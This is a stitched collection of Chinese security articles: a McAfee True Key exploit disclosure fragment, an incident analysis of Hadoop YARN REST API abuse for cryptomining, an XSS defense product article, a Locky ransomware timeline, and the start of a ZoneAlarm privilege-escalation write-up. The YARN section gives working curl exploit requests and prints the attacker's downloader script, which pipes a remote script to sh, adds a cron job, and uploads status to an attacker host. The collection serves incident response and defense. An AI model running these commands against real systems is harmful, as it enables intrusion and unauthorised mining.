对于SecureExecute请求检查30000端口的环回流量，其中executablePath参数不以C：\ Program Files \ McAfee
\ TrueKey前缀开头，可以检测到主动利用。
### 缓解
Microsoft提供了有关[动态链接库安全](https://docs.microsoft.com/en-us/windows/desktop/Dlls/dynamic-link-library-security)主题的内容丰富的文章，并提供了有关开发人员如何保护其应用程序免受此类攻击的建议。在应用程序级别，SecureExecute方法应拒绝任何请求，其中executablePath不以已知的写保护文件夹（如C：\
Program Files \ McAfee \
TrueKey）的前缀开头。此外，RegisterClient方法应该将请求中指定的端口视为不受信任的用户输入，并以更安全的方式验证客户机。如果您的组织不依赖True
Key，则卸载此软件将删除易受攻击的服务。
### 关于Exodus Intelligence N-Day 订阅服务
除了内部发现的0-day漏洞外，[Exodus
Intelligence](https://www.exodusintel.com/)还提供了一个由外部组织或供应商自己公开披露的威胁组成的feed。我们的n-day服务的订阅者可以访问一系列经过审查的、可靠的漏洞和相应的文档，从而确保他们的防御措施得到了妥善实施。这在供应商提供的补丁无法解决根本原因的情况下非常重要，因为补丁的存在可能会错误地向用户保证他们不再处于危险之中。
### 披露
我们向McAfee披露了失败的补丁，他们发布了更新作为回应。然而，我们测试了最新版本（截至2018年9月7日的5.1.173.1），发现它仍然容易受到攻击，不需要做任何的更改。 | 社区文章 |
作者：Fooying@云鼎实验室
公众号：[云鼎实验室](https://mp.weixin.qq.com/s/fF6a5Yhl5y6eSVskYtYSvw "云鼎实验室")
#### 一、背景
5月5日腾讯云安全团队曾针对攻击者利用Hadoop Yarn资源管理系统REST
API未授权漏洞对服务器进行攻击，攻击者可以在未授权的情况下远程执行代码的安全问题进行预警，在预警的前后我们曾多次捕获相关的攻击案例，其中就包含利用该问题进行挖矿，我们针对其中一个案例进行分析并提供响应的安全建议和解决方案。
#### 二、漏洞说明
Hadoop是一个由Apache基金会所开发的分布式系统基础架构，YARN是hadoop系统上的资源统一管理平台，其主要作用是实现集群资源的统一管理和调度，可以把MapReduce计算框架作为一个应用程序运行在YARN系统之上，通过YARN来管理资源。简单的说，用户可以向YARN提交特定应用程序进行执行，其中就允许执行相关包含系统命令。
YARN提供有默认开放在8088和8090的REST API（默认前者）允许用户直接通过API进行相关的应用创建、任务提交执行等操作，如果配置不当，REST
API将会开放在公网导致未授权访问的问题，那么任何黑客则就均可利用其进行远程命令执行，从而进行挖矿等行为。
###### 攻击步骤：
1.申请新的application
直接通过curl进行POST请求
curl -v -X POST 'http://ip:8088/ws/v1/cluster/apps/new-application'
返回内容类似于：
{"application-id":"application_1527144634877_20465","maximum-resource-capability":{"memory":16384,"vCores":8}}
2.构造并提交任务
构造json文件1.json，内容如下，其中application-id对应上面得到的id，命令内容为尝试在/var/tmp目录下创建`11112222_test_111122222`文件，内容也为111：
{
"am-container-spec":{
"commands":{
"command":"echo '111' > /var/tmp/11112222_test_11112222"
}
},
"application-id":"application_1527144634877_20465",
"application-name":"test",
"application-type":"YARN"
}
然后直接
curl -s -i -X POST -H 'Accept: application/json' -H 'Content-Type: application/json' http://ip:8088/ws/v1/cluster/apps --data-binary @1.json
即可完成攻击，命令被执行，在相应目录下可以看到生成了对应文件
更多漏洞详情可以参考 <http://bbs.qcloud.com/thread-50090-1-1.html>
#### 三、入侵分析
在本次分析的案例中，受害机器部署有Hadoop YARN，并且存在未授权访问的安全问题，黑客直接利用开放在8088的REST
API提交执行命令，来实现在服务器内下载执行.sh脚本，从而再进一步下载启动挖矿程序达到挖矿的目的。
整个利用过程相对比较简单，通过捕捉Hadoop 的`launch_container.sh`执行脚本，我们可以看到其中一个案例中相关任务执行的命令：
1.#!/bin/bash
2.
3.export LOCAL_DIRS="/root/hadoop/tmp/nm-local-dir/usercache/dr.who/appcache/application_1527144634877_20417"
4.export APPLICATION_WEB_PROXY_BASE="/proxy/application_1527144634877_20417"
5....这里省略部分内容
6.export CONTAINER_ID="container_1527144634877_20417_02_000001"
7.export MALLOC_ARENA_MAX="4"
8.exec /bin/bash -c "curl 185.222.210.59/x_wcr.sh | sh & disown"
9.hadoop_shell_errorcode=$?
10.if [ $hadoop_shell_errorcode -ne 0 ]
11.then
12. exit $hadoop_shell_errorcode
13.fi
可以很明显的看到第8行位置，从185.222.210.59下载并执行了一个名为x_wcr.sh的脚本。
在实际过程中，我们从多个案例捕获了多个比如名为cr.sh的不同脚本，但实际的功能代码都差不多，我们对其中一个`x_wcr.sh`脚本进行分析，代码自上而下内容：
1.pkill -f cryptonight
2.pkill -f sustes
3.pkill -f xmrig
4.pkill -f xmr-stak
5.pkill -f suppoie
6.ps ax | grep "config.json -t" | grep -v grep | awk '{print $1}' | xargs kill -9
7.ps ax | grep 'wc.conf\|wq.conf\|wm.conf\|wt.conf' | grep -v grep | grep 'ppl\|pscf\|ppc\|ppp' | awk '{print $1}' | xargs kill -9
8.rm -rf /var/tmp/pscf*
9.rm -rf /tmp/pscf*
这部分代码主要针对已存在的挖矿进程、文件进行清理。
1.DIR="/tmp"
2.if [ -a "/tmp/java" ]
3.then
4. if [ -w "/tmp/java" ] && [ ! -d "/tmp/java" ]
5. then
6. if [ -x "$(command -v md5sum)" ]
7. then
8. sum=$(md5sum /tmp/java | awk '{ print $1 }')
9. echo $sum
10. case $sum in
11. 183664ceb9c4d7179d5345249f1ee0c4 | b00f4bbd82d2f5ec7c8152625684f853)
12. echo "Java OK"
13. ;;
14. *)
15. echo "Java wrong"
16. pkill -f w.conf
17. sleep 4
18. ;;
19. esac
20. fi
21. echo "P OK"
22. else
23. DIR=$(mktemp -d)/tmp
24. mkdir $DIR
25. echo "T DIR $DIR"
26. fi
27.else
28. if [ -d "/var/tmp" ]
29. then
30. DIR="/var/tmp"
31. fi
32. echo "P NOT EXISTS"
33.fi
这部分的代码主要是判断如果/tmp/java是一个存在并且可写的文件，那么就判断其MD5值是否匹配，MD5不匹配则根据w.conf关键词查找并kill进程；如果非可写的文件，则重新赋值DIR变量，这个变量主要用于后面部分代码中下载挖矿等程序存放目录。
1.if [ -d "/tmp/java" ]
2.then
3. DIR=$(mktemp -d)/tmp
4. mkdir $DIR
5. echo "T DIR $DIR"
6.fi
7.WGET="wget -O"
8.if [ -s /usr/bin/curl ];
9.then
10. WGET="curl -o";
11.fi
12.if [ -s /usr/bin/wget ];
13.then
14. WGET="wget -O";
15.fi
16.f2="185.222.210.59"
然后接着是一些变量的赋值，包括再次判断如果/tmp/java是一个目录，则重新赋值DIR变量；判断curl和wget命令是否存在，存在则赋值到WGET变量；f2则是赋值为某个IP，实则为是后续下载相关文件的服务器之一。
1.if [ ! "$(ps -fe|grep '/tmp/java'|grep 'w.conf'|grep -v grep)" ];
2.then
3. downloadIfNeed
4. chmod +x $DIR/java
5. $WGET $DIR/w.conf http://$f2/w.conf
6. nohup $DIR/java -c $DIR/w.conf > /dev/null 2>&1 &
7. sleep 5
8. rm -rf $DIR/w.conf
9.else
10. echo "Running"
11.fi
12.if crontab -l | grep -q "185.222.210.59"
13.then
14. echo "Cron exists"
15.else
16. echo "Cron not found"
17. LDR="wget -q -O -"
18. if [ -s /usr/bin/curl ];
19. then
20. LDR="curl";
21. fi
22. if [ -s /usr/bin/wget ];
23. then
24. LDR="wget -q -O -";
25. fi
26. (crontab -l 2>/dev/null; echo "* * * * * $LDR http://185.222.210.59/cr.sh | sh > /dev/null 2>&1")| crontab -
27.fi
这部分代码是其中比较核心的代码，通过downloadIfNeed方法下载挖矿程序到`$DIR`目录下并重命名为java，下载w.conf配置文件，给挖矿程序增加执行权限，然后以nohup命令后台运行挖矿程序并删除配置文件；接着检查crontab中的任务，如果不存在对应的任务，就将下载执行脚本的任务`"*
* * * * $LDR http://185.222.210.59/cr.sh | sh > /dev/null
2>&1"`添加到其中,这里`$LDR`为wget -q -O -或者curl，任务每分钟执行一次。
脚本中还包含了几个嵌套调用的download方法，入口方法是downloadIfNeed：
1.downloadIfNeed()
2.{
3. if [ -x "$(command -v md5sum)" ]
4. then
5. if [ ! -f $DIR/java ]; then
6. echo "File not found!"
7. download
8. fi
9. sum=$(md5sum $DIR/java | awk '{ print $1 }')
10. echo $sum
11. case $sum in
12. 183664ceb9c4d7179d5345249f1ee0c4 | b00f4bbd82d2f5ec7c8152625684f853)
13. echo "Java OK"
14. ;;
15. *)
16. echo "Java wrong"
17. sizeBefore=$(du $DIR/java)
18. if [ -s /usr/bin/curl ];
19. then
20. WGET="curl -k -o ";
21. fi
22. if [ -s /usr/bin/wget ];
23. then
24. WGET="wget --no-check-certificate -O ";
25. fi
26. echo "" > $DIR/tmp.txt
27. rm -rf $DIR/java
28. download
29.
30. if [ -x "$(command -v md5sum)" ]
31. then
32. sum=$(md5sum $DIR/java | awk '{ print $1 }')
33. echo $sum
34. case $sum in
35. 183664ceb9c4d7179d5345249f1ee0c4 | b00f4bbd82d2f5ec7c8152625684f853)
36. echo "Java OK"
37. cp $DIR/java $DIR/ppc
38. ;;
39. *)
40. $WGET $DIR/java https://transfer.sh/WoGXx/zzz > $DIR/tmp.txt 2>&1
41. echo "Java wrong"
42. sum=$(md5sum $DIR/java | awk '{ print $1 }')
43. case $sum in
44. 183664ceb9c4d7179d5345249f1ee0c4 | b00f4bbd82d2f5ec7c8152625684f853)
45. echo "Java OK"
46. cp $DIR/java $DIR/ppc
47. ;;
48. *)
49. echo "Java wrong2"
50. ;;
51. esac
52. ;;
53. esac
54. else
55. echo "No md5sum"
56. fi
57.
58. sumAfter=$(md5sum $DIR/java | awk '{ print $1 }')
59. if [ -s /usr/bin/curl ];
60. then
61. echo "redownloaded $sum $sizeBefore after $sumAfter " `du $DIR/java` >> $DIR/tmp.txt
62. curl -F "file=@$DIR/tmp.txt" http://$f2/re.php
63. fi
64. ;;
65. esac
66. else
67. echo "No md5sum"
68. download
69. fi
70.}
这个方法的核心功能还是校验已存在的挖矿程序的MD5，如果无法验证或者文件不存在的情况，则直接调用download方法下载挖矿程序；如果文件存在但MD5匹配不正确，则调用download方法后再次验证，验证失败则尝试从另外一个下载渠道<https://transfer.sh/WoGXx/zzz>下载挖矿程序并再次验证。最后还将相关结果上报到目标服务器$f2的re.php.
tmp.txt内容示例：
1.download() {
2. if [ -x "$(command -v md5sum)" ]
3. then
4. sum=$(md5sum $DIR/ppc | awk '{ print $1 }')
5. echo $sum
6. case $sum in
7. 183664ceb9c4d7179d5345249f1ee0c4 | b00f4bbd82d2f5ec7c8152625684f853)
8. echo "Java OK"
9. cp $DIR/ppc $DIR/java
10. ;;
11. *)
12. echo "Java wrong"
13. download2
14. ;;
15. esac
16. else
17. echo "No md5sum"
18. download2
19. fi
20.}
download方法判断ppc文件的存在与否和 MD5是否匹配，如果不存在或MD5不匹配则调用download2下载，如果存在则复制重名为java。
1.download2() {
2. f1=$(curl 185.222.210.59/g.php)
3. if [ -z "$f1" ];
4. then
5. f1=$(wget -q -O - 185.222.210.59/g.php)
6. fi
7.
8. if [ `getconf LONG_BIT` = "64" ]
9. then
10. $WGET $DIR/java http://$f1/xm64?$RANDOM
11. else
12. $WGET $DIR/java http://$f1/xm32?$RANDOM
13. fi
14.
15. if [ -x "$(command -v md5sum)" ]
16. then
17. sum=$(md5sum $DIR/java | awk '{ print $1 }')
18. echo $sum
19. case $sum in
20. 183664ceb9c4d7179d5345249f1ee0c4 | b00f4bbd82d2f5ec7c8152625684f853)
21. echo "Java OK"
22. cp $DIR/java $DIR/ppc
23. ;;
24. *)
25. echo "Java wrong"
26. ;;
27. esac
28. else
29. echo "No md5sum"
30. fi
31.}
download2方法则判断系统下载对应版本的挖矿程序，其中<http://185.222.210.59/g.php>返回的是另外一个IP地址；下载成功后则再次验证，并复制重命名为ppc。
1.pkill -f logo4.jpg
2.pkill -f logo0.jpg
3.pkill -f logo9.jpg
4.pkill -f jvs
5.pkill -f javs
6.pkill -f 192.99.142.248
7.rm -rf /tmp/pscd*
8.rm -rf /var/tmp/pscd*
9.crontab -l | sed '/192.99.142.232/d' | crontab -
10.crontab -l | sed '/192.99.142.226/d' | crontab -
11.crontab -l | sed '/192.99.142.248/d' | crontab -
12.crontab -l | sed '/logo4/d' | crontab -
13.crontab -l | sed '/logo9/d' | crontab -
14.crontab -l | sed '/logo0/d' | crontab -
在脚本的最后部分还有一些进程、文件、crontab清理的处理，用pkill删除满足条件的进程，删除tmp目录下pscd开头的文件，以及说删除crontab中存在某些关键词的任务。
至此，我们完成整个脚本的分析，虽然整个脚本比较冗长，而且似乎各个函数嵌套调用，涉及文件也众多，但其实整体就做了以下几件事：
1. 清理相关的进程、文件和crontab任务
2. 判断并下载挖矿程序，同时校验MD5值，除了黑客自己控制的服务器，还利用<https://transfer.sh>提供备用下载，多种方式保障
3. 增加脚本下载执行任务添加到crontab里
其实，我们通过查看YARN的日志文件`yarn-root-nodemanager-master.hadoop.log`也可能看到相应的痕迹：
或者我们通过管理UI查看application详情：
而crontab的任务日志也能看到相关的执行记录：
最终在/var/tmp目录下也能找到相关的文件
#### 四、安全建议
###### 清理病毒
1. 使用top查看进程，kill掉异常进程
2. 检查/tmp和/var/tmp目录，删除java、ppc、w.conf等异常文件
3. 检查crontab任务列表，删除异常任务
4. 排查YARN日志，确认异常的application，删除处理
###### 安全加固
1. 通过iptables或者安全组配置访问策略，限制对8088等端口的访问
2. 如无必要，不要将接口开放在公网，改为本地或者内网调用
3. 升级Hadoop到2.x版本以上，并启用Kerberos认证功能，禁止匿名访问
4. 云镜当前已支持该漏洞检测，同时也支持挖矿木马的发现，建议安装云镜并开通专业版，及时发现漏洞并修复或者在中马后能及时收到提醒进行止损
5. 更多自检和修复建议可以参考 <http://bbs.qcloud.com/thread-50090-1-1.html>
#### 五、IOCs
###### 钱包地址
4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg
###### MD5
1. c8c1f2da51fbd0aea60e11a81236c9dc
2. 183664ceb9c4d7179d5345249f1ee0c4
3. b00f4bbd82d2f5ec7c8152625684f853
###### 矿池地址
1. 158.69.133.20:3333
2. 192.99.142.249:3333
3. 202.144.193.110:3333
4. 46.30.43.159:80
###### 部分相关URL
1. <http://185.222.210.59/x_wcr.sh>
2. <http://185.222.210.59/re.php>
3. <http://185.222.210.59/g.php>
4. <http://185.222.210.59/w.conf>
5. <http://185.222.210.59/cr.sh>
6. <http://192.99.142.226:8220/w.conf>
7. <http://192.99.142.226:8220/xm64>
8. <http://192.99.142.226:8220/cr.sh>
9. <http://95.142.40.83/xm64>
10. <http://95.142.40.83/xm32>
11. <https://transfer.sh/1o3Kj/zzz>
12. <https://transfer.sh/wbl5H/pscf>
13. <https://transfer.sh/WoGXx/zzz>
* * * | 社区文章 |
# 360护心镜：XSS攻击与前端主动防御解决方案
|
##### 译文声明
本文是翻译文章，文章来源：爱梅小礼@0kee Team
译文仅供参考，具体内容表达以及含义原文为准。
****
**0x01 XSS是什么?**
XSS是黑客通过前端网页向受害者浏览的网页中注入js脚本,从而实现攻击目的。与其它web漏洞不同,XSS并非直接攻击服务器,而是攻击的受害者的浏览器。其在网络中存在的数量,远远大于SQL注入等传统高危漏洞。
XSS在执行方式上可分为反射形XSS和存储形XSS,反射形XSS是指把要执行的js-payload放在URL的参数中,需要攻击者把超链接发送给受害者,诱骗受害者点击才能达到目的,而且现在大部分浏览器内置安全机制(XSS-Filter)都可以有效防御反射形XSS,由此可见反射形XSS利用难度较大,不但需要用户的交互,还要设法绕过浏览器的防御机制。
而存储型XSS就不同了,存储型XSS是指攻击者在某个漏洞页面提交XSS代码,提交的代码一般会存储在服务器中,在另外一个页面进行输出。例如网站中的留言功能,论坛中的评论-审核功能,都是出现存储型XSS的高危地带。这种XSS,很少需要用户刻意交互,往往不知不觉中就会执行,而且会无视浏览器的安全防御机制,直接达到攻击目的。
**0x02 XSS的利用和危害**
早年间要想成功利用XSS还是有一定门槛的,至少要求攻击者熟练使用js和html构造攻击代码。但是前几年流行的XSS平台大大降低了这种门槛,就好像当年阿D、明小子降低了SQL注入的门槛一样,让任何一个初学的script-kid都可以拿着现成的代码到处攻击。
这是一个XSS平台,里面包含了大部分XSS的攻击方式。一般说,最常见的是偷取cookie,这也是主流的XSS攻击方式。其次还有伪造登陆页面进行钓鱼,诱骗用户输入账户和密码从而获得密码明文的攻击方式。此外,还可偷取用户当前页面的源代码或者后台网页的内容(例如可遍历邮件的内容),还可以结合后台的CSRF漏洞对后台内容进行篡改,例如自动审核某个文章、提升某个普通用户为管理员组的权限,修改网站配置信息等等,甚至可以结合后台的上传漏洞、备份漏洞等直接对服务器进行攻击,获得webshell权限。这类XSS攻击大部分都是攻击网站管理员的,只为获得后台权限甚至是服务器权限。
国内外诸多开源CMS都曾经爆出过威胁管理员后台的存储型XSS漏洞。例如worldpress、Drupal、Discuz!、DeDe、PHPCMS,每一次漏洞的爆出都是一场XSS的狂欢,每次狂欢过后都伴随着大量管理员后台权限的沦陷。以为使用非开源的cms就安全了吗,XSS盲打就是针对未知CMS的一种XSS攻击方式,即在任何可以提交表单的地方提交XSS代码,来攻击任何一个可能出现XSS问题的地方,这种方式成本低廉,即便是没有成功也不会增加攻击者的成本,而一旦成功,往往是渗透过程中的一个里程碑式事件。
其实上述危害都还好,危害最严重的,波及范围最广,而且最难清除的莫过于XSS蠕虫。当然XSS蠕虫属于“富贵病”,并不是每一个网站都具备XSS蠕虫生存的土壤,小网站想得也得不上这种病。一般来说,web2.0网站中,用户间交互越多的,越容易成为XSS滋生的土壤,例如微博,SNS社交网站等等。XSS蠕虫以普通用户为攻击目标,当一个用户被XSS袭击后,通过CSRF可能会修改自身的备注信息、个人资料,或者发帖发私信,里面夹杂着XSS代码,当其他用户浏览到该用户的发表的带有XSS代码的内容时,也会受到相同的XSS的袭击,这样感染用户的数量呈指数增长,当厂商发现的时候,很可能已经大面积爆发了,历史上,人人网、新浪微博、百度贴吧等社交平台都受过XSS蠕虫的袭击。09年校内网蠕虫感染用户达到500万,11年新浪微博蠕虫1个小时内感染用户就达到了3万,可见危害之大范围之广。
**0x03 传统XSS防御手段**
如何根治XSS呢,这里可以负责任的告诉你,没有一种防御方法是通用万能的。XSS攻击方式根据漏洞出现位置、浏览器环境、业务环境、攻击目的、WebServer类型的不同而变化(所以XSSer们往往称自己为猥琐流)。它不像其他web漏洞:上传、SQL注入、文件包涵,仅仅需要在服务器上做下过滤(甚至是安装一个统一过滤脚本或者WAF)就可以成功防御的,所以根据实际情况,针对XSS防御措施也是不同的,大体来说,有以下几点:
**1.服务器端过滤**
服务器端转义输入的左右尖括号,对HTML标签进行编码,这是主流的防御XSS的方法,可有效防御一般的XSS攻击。
缺点:无法防御部分DomXSS攻击,以及Flash XSS攻击。
******2.前端过滤**
对innerHTML的内容进行检查,对eval中用户输入的参数进行检查,对于使用的js库(例如jquery)以及Flash进行检查,以免使用了存在XSS漏洞的js库和swf文件。
缺点:只是针对DomXSS有效
**3.HttpOnly**
在服务器端做配置,在响应头里对cookie中的session进行httponly标记,被标记的session无法被js读出,因此可以有效防御针对偷取cookie的XSS攻击。
缺点:只能防御针对cookie的XSS攻击。
**4.Content Security Policy (CSP)**
CSP策略规范了网页中某个标签所能加载的第三方域,从协议层把一些存在安全隐患的用法默认给干掉,把同源同域更发挥到了极致,结合禁止内联脚本的机制,可以有效防御大部分XSS攻击。
缺点:需要在服务器端进行配置,而且一旦配置不当,正常业务也会受到影响。配置不严格又会导致绕过。对于大型的、复杂的网站业务,维护成本较高。
**5.XSS防火墙技术**
这种技术目前正处于概念阶段,并没有大范围投入使用,其思路是用js代码来对当前网页进行防护,防止发生XSS行为。而且设计理念也是各有不同。
像百度FEX设计的这款,模拟了CSP策略实现了对XSS的防御。
[http://fex.baidu.com/blog/2014/06/xss-frontend-firewall-4/](http://fex.baidu.com/blog/2014/06/xss-frontend-firewall-4/)
**0x04 前端的主动防御**
对于大部分的互联网厂商而言,目前都还停留在扫描一起发现一起,发现一起修复一起的后知后觉中,那么如何能针对前端攻击做主动防御,实现快速响应呢?360WEB攻防团队0kee
Team设计的“护心镜“,通过Hook
XSS的常用函数,并监控DOM元素的创建,从而对整个页面的js行为进行监控。当发现页面中存在XSS攻击行为时,可根据预置的选项,进行放行,提醒用户选择,阻拦三种处理方式,同时预警中心会收到一次事件的告警,安全人员可根据告警进行应急响应处理。
“护心镜”的配置也不复杂,只需要填写你的网站所正常引用的第三方资源的域名即可,这些资源类型包括:image、css、js、flash、vedio、iframe引用的资源等,“护心镜”会将这些域名添加到信任白名单中,如果没有引用则留空。为了方便广大站长收集自己网站上使用的第三方资源,0kee
Team特意开发了一款Chrome扩展Res_Discover:https://chrome.google.com/webstore/detail/resdiscover/fobmnepngipfbmfmoocoikchdilekepc?utm_source=chrome-ntp-icon
然后选择使用的插件,每一种插件对应一种XSS攻击,例如盗取cookie、偷取表单、上传webshell、钓鱼等等。最后选择事件的处理方式:放行、提醒、阻断。
以QQ邮箱为例,模拟加载“护心镜”后,执行偷取cookie的XSS代码会是如下的效果:
护心镜拦截到攻击请求时会提示用户选择处理方式,内容包含黑客接收cookie所用的域名,同时可以在护心镜的告警中心找到这条告警。
其中“调用栈”是页面中发生过的事件列表,“告警源”是发生XSS的页面url地址。
**护心镜官方地址:**[ **http://0kee.360.cn/hxj/**](http://0kee.360.cn/hxj/)
**，目前邀请试用中。**
**福利：邀请码**
23c66f36e35645a3bd35
9dd245a58d7b21dc243f
5f88068ae2ba94d4adb7
d3c8b8dc1ae609ebc4e5
9818d4f56c84ddb727dd
9e30b0c4f354f41d8f67
e4d017a50a1d3eb38122
ce83fe1a638cb96ed701
89c81c4a1f349bab5496
df2fb51eebd8c190500c
d92cda77b8ae90a4d7cb
1d4837a708a61f52c593
d1fc22072cf71a794f15
3dabb9fea8cb33837c8b
79ac0b29e6a9c05abc2b
a9db2cd90f86d3358f69
f39281e3b51e8e760161
0dc2a910b8ee287937f2
f8e890cbd519eeeacd7b
a3cd01992bf2eb5e0549 | 社区文章 |
# 敲诈者病毒Locky编年史
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
最近,locky勒索木马的大规模爆发再次引起了大家对敲诈者木马的关注。包括国家计算机病毒应急处理中心在内的国家机构也都发布了相应的计算机病毒疫情通报。早在2013年,此类敲诈者木马便引起了360安全响应中心的关注,并发布了一系列的通告、解决方案以及分析报告。以下依时间顺序列举出一些在重要时间节点上360发布的相关通告和技术分析:
1、2013年10月10日,360安全响应中心监控到一类通过篡改Windows系统登录密码敲诈用户的木马在国内迅速升温,第一时间作出安全响应处理,并发布了通告:《[“敲竹杠”木马来袭!360国内独家防御](http://weibo.com/1645903643/Adlf34WSc)》,提醒大家对此类木马保持警惕。
2、2013年11月22日,360安全响应中心发文宣布推出敲竹杠木马解锁服务:《[电脑开机密码被木马篡改?现在有救了!](http://weibo.com/1645903643/AjWriFCJP)》,为受害用户提供无偿的解锁服务。
3、2014年6月6日,国外安全厂商发现一款基于移动设备的锁屏敲诈软件Simplocker,360移动安全部门第一时间做出安全响应,并对此病毒给出了分析报告:《[Simplocker分析报告](http://blogs.360.cn/360mobile/2014/06/06/analysis_of_simplocker/)》,向国内用户介绍此类病毒的技术原理。
4、2015年1月20日,在美日等国流传并且造成很大危害的CTB-Locker木马首次传入中国,360第一时间发出通告《[CTB-Locker敲诈者病毒传入中国,360全面查杀](http://weibo.com/1645903643/C0u5omrL2)》,对该木马的传播方法和危害做了简明介绍。
5、2015年1月21日,仅一天之后,360QVM团队便对CTB-Locker病毒进行了详尽分析:《[首次现身中国的CTB-Locker“比特币敲诈者”病毒分析](http://blogs.360.cn/blog/ctb-locker/)》。
6、2015年1月23日,与CTB-Locker同类型的敲诈者木马VirLock同步传入中国,360杀毒部门对此给出了说明和通报《[又一个敲诈者病毒VirLock来了!](http://weibo.com/1620066471/C0UAAB8yS)》。
7、2015年1月30日,经过360QVM团队的分析研究,发现被VirLock木马感染的文件可以通过技术手段恢复,遂发布分析报告《[360全球唯一可成功修复还原VirLock变种感染文件](http://weibo.com/p/1001603804790554493920)》,与国内外其他安全厂商分享技术细节,推动对此木马的修复工作,最大限度的降低受害者损失。
8、2015年5月19日,国内木马作者基于Simplocker木马思路衍生出的手机锁屏勒索木马被360移动安全部门截获,并发布了分析报告《[手机锁屏勒索国内首现身](http://blogs.360.cn/blog/analysis_of_ransomware/)》
9、2015年5月27日,CTB-Locker木马经过5个月的“本土化”过程,逐渐被国内木马坐着学习和利用。并在此期间出现了国内的第一次大规模爆发和针对性变种。对此360安全响应中心做出了针对性的防御(文档保护功能),并且发布了新的分析报告《[CTB-LOCKER分析报告](http://blogs.360.cn/360safe/2015/05/27/ctb-locker%E5%88%86%E6%9E%90%E6%8A%A5%E5%91%8A/)》,针对新的木马疫情做出了分析说明。
10、2015年8月12日,CTB-Locker近亲CryptoLocker在国内木马作者手中已经逐渐形成与安全软件进行常规对抗的木马。360再度发布病毒警报《[CryptoLocker敲诈者病毒再出新变种](http://weibo.com/1645903643/CvslgbK0E)》
11、2016年2月18日,CryptoLocker再次从传播手段上出现新变种(即当前最新版的locky木马)。360安全响应中心发布报告《[警惕CryptoLocker敲诈者卷土重来!](http://weibo.com/ttarticle/p/show?id=2309403943915932749380)》,阐述木马最新的传播手段和注意事项。
最后要提醒广大用户,无论是危害较小的锁屏敲诈者还是危害深远的文件加密敲诈者,养成良好的安全意识都是最佳的防御手段:
1.定期备份重要文件,最好能在U盘、本地、云盘都拷贝一份,以防不测;
2.操作系统和IE、Flash等常用软件应及时打好补丁,以免病毒利用漏洞自动入侵电脑;
3.切勿轻易打开陌生人发来的可疑文件及邮件附件,切勿轻易打开来源不可靠的网址;
4.电脑中应安装并启用专业的安全软件,及时更新并定期进行安全扫描。 | 社区文章 |
# Check Point ZoneAlarm反病毒软件本地提权漏洞分析
|
##### 译文声明
本文是翻译文章，文章原作者 illumant，文章来源：illumant.com
原文地址：<https://www.illumant.com/blog/2019/01/16/check-point-anti-virus-technical-white-paper/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、概要
Illumant最近在Check Point
ZoneAlarm反病毒软件中发现了一个严重漏洞，攻击者可以利用该漏洞，在反病毒软件启用的情况下，将低权限用户提升至`SYSTEM`权限。该漏洞之所以存在，是因为ZoneAlarm在进程间通信上采用了并不安全的具体实现，使得低权限用户可以使用存在漏洞的.NET服务，劫持不安全的通信，从而注入并执行代码。受影响的.NET服务以`SYSTEM`权限运行，因此被注入的代码会以`SYSTEM`权限运行，绕过权限限制，使攻击者可以获取系统的完全访问权限。
本文从技术角度介绍了该漏洞的发现过程，也介绍了如何在本地环境中利用漏洞以`SYSTEM`权限执行未经授权的代码。
漏洞利用过程可参考[此处](https://www.illumant.com/blog/zonealarm-anti-virus-exploit-video/)视频。
大家可以访问我们的[GitHub页面](https://github.com/illumant/ZoneAlarmExploit)获取漏洞利用代码。
## 二、背景介绍
Fabius Watson（@FabiusArtrel）最近在Ekoparty
2018上发表过一次开创性[演讲](https://www.ekoparty.org/charla-abusing-insecure-wcf-endpoints.php)，主要介绍了如何滥用WCF端点。同样在2018年，Watson也提交并公布了一些CVE。这些权限提升和远程代码执行漏洞都与基于.NET
WCF服务的商业产品有关，部分漏洞列表如下：
* [CVE-2018-13101 – KioskSimpleService本地权限提升漏洞](https://github.com/VerSprite/research/blob/master/advisories/VS-2018-026.md)
* [CVE-2018-10169 – Proton VPN本地权限提升漏洞](https://github.com/VerSprite/research/blob/master/advisories/VS-2018-017.md)
* [CVE-2018-10170 – NordVPN本地权限提升漏洞](https://github.com/VerSprite/research/blob/master/advisories/VS-2018-018.md)
* [CVE-2018-10190 – Private Internet Access本地权限提升漏洞](https://github.com/VerSprite/research/blob/master/advisories/VS-2018-019.md)
Watson对基于.NET的WCF漏洞的研究也给我们提供了研究思路。
此外，我们在漏洞开发过程中也使用了关于代码签名漏洞方面的技术（特别是关于[代码签名证书克隆及防御](https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec)方面的技术），这些技术由来自SpecterOps的Matt Graeber
（@mattifestation）公布。
## 三、枚举.NET服务
Fabius Watson提供的一个python脚本可以帮助我们识别可能存在漏洞的目标服务。该工具可以枚举满足如下条件的所有服务：
* 以`SYSTEM`（`NT AUTHORITY\SYSTEM`）权限运行
* 服务对应的程序为.NET应用
该脚本中使用了WMIC查询语句来识别以`SYSTEM`运行的所有服务，然后使用`pefile`模块来检查服务程序的导入表中是否存在`mscoree.dll`（所有.NET应用都会用到这个库）。该工具的运行结果如下所示：
枚举完成后，接下来就是使用.NET反编译工具来检查这些服务。这里我们使用的是[dnSpy](https://github.com/0xd4d/dnSpy)。虽然系统上运行着许多.NET服务，但不一定都用到了WCF。所有的WCF服务都依赖于`System.ServiceModel`，因此我们可以在dnSpy中检测是否存在相关引用。我们发现ZoneAlarm服务中只有一个引用了这个库：`SBACipollaSrvHost.exe`。
## 四、寻找漏洞点
找到了以`SYSTEM`权限运行的WCF服务后，我们需要检查该服务是否对外暴露了我们可以利用的方法。有时候某些方法会以待运行的命令作为输入，这些方法利用起来非常方便。在其他情况下，利用方式可能没那么直接。当然，目标服务也可能不会公开任何方法，无法用于代码执行。
在源代码审核过程中，我研究了`OnCommandReceived`方法。跟踪该方法触发的一系列调用后，我发现整条调用链中存在一个名为`ExecuteInstaller`的方法，可以用来执行安装程序：
根据这个方法的名称以及实际用途，我们判断该方法很可能是我们寻找的目标，因此继续下一步研究。
## 五、与目标服务交互
阅读`SBACipolla`类代码后，我们可以看到代码创建了两个命名管道服务端点：`Cipolla`以及`CipollaRoot`。WCF服务可以使用各种传输协议，如果使用的是HTTP或者TCP协议，则我们有可能远程利用该服务。在本文中，该服务使用的是命名管道，因此我们的目标是实现本地权限提升：
